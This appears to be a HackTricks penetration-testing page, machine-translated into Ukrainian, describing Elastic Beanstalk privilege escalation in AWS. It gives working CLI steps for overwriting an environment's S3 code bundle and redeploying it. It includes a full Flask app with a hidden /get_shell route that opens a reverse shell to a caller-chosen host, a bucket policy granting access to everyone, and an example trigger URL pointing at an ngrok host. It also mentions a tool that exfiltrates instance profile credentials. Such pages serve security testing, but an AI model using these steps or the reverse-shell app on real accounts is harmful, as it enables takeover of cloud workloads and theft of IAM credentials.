AWS - Elastic Beanstalk Privesc

Підтримайте HackTricks

Elastic Beanstalk

Додаткова інформація про Elastic Beanstalk в:

AWS - Elastic Beanstalk Enum

Для виконання чутливих дій в Beanstalk вам потрібно мати багато чутливих дозволів в багатьох різних сервісах. Наприклад, ви можете перевірити дозволи, надані для arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk

elasticbeanstalk:RebuildEnvironment, дозволи на запис в S3 та багато іншого

З дозволами на запис в бакет S3, що містить код середовища та дозволами на перебудову додатка (потрібно elasticbeanstalk:RebuildEnvironment та ще кілька пов'язаних з S3, EC2 та Cloudformation), ви можете змінювати код, перебудовувати додаток, і наступного разу, коли ви звернетесь до додатка, він виконає ваш новий код, що дозволить зловмиснику скомпрометувати додаток та облікові дані ролі IAM.

# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"

elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, та інші...

Згадані, а також кілька дозволів S3, EC2, cloudformation, autoscaling та elasticloadbalancing є необхідними для створення сценарію Elastic Beanstalk з нуля.

  • Створити додаток AWS Elastic Beanstalk:

aws elasticbeanstalk create-application --application-name MyApp
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role

Якщо середовище вже створено, і ви не хочете створювати нове, ви можете просто оновити існуюче.

  • Упакуйте код вашого додатка та залежності в ZIP-файл:

zip -r MyApp.zip .
  • Завантажте ZIP-файл до сховища S3:

aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
  • Створіть версію додатку AWS Elastic Beanstalk:

aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
  • Розгорнути версію додатку у вашому середовищі AWS Elastic Beanstalk:

aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

elasticbeanstalk:СтворенняВерсіїДодатку, elasticbeanstalk:ОновленняСередовища, cloudformation:ОтриматиШаблон, cloudformation:ОписатиРесурсиСтеку, cloudformation:ОписатиРесурсСтеку, autoscaling:ОписатиГрупиАвтоМасштабування, autoscaling:ПризупинитиПроцеси, autoscaling:ПризупинитиПроцеси

Спочатку вам потрібно створити легітне середовище Beanstalk з кодом, який ви хочете запустити на жертві відповідно до попередніх кроків. Потенційно простий zip, що містить ці 2 файли:

from flask import Flask, request, jsonify
import subprocess,os, socket

application = Flask(__name__)

@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')

@application.route("/")
def index():
return jsonify('Welcome!')


@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')

if __name__=="__main__":
application.run()

click==7.1.2
Flask==1.1.2
itsdangerous==1.1.0
Jinja2==2.11.3
MarkupSafe==1.1.1
Werkzeug==1.0.1

Після того, як у вас запущено власне середовище Beanstalk з оболонкою rev, настав час мигрувати його до середовища жертви. Для цього вам потрібно оновити політику віджету вашого віджету S3 Beanstalk, щоб жертва могла отримати до нього доступ (Зверніть увагу, що це відкриє віджет для КОЖНОГО):

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}

{% код переповнення = "заворот" %}

# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"

# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0

# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528

Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).

The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
Підтримайте HackTricks

Last updated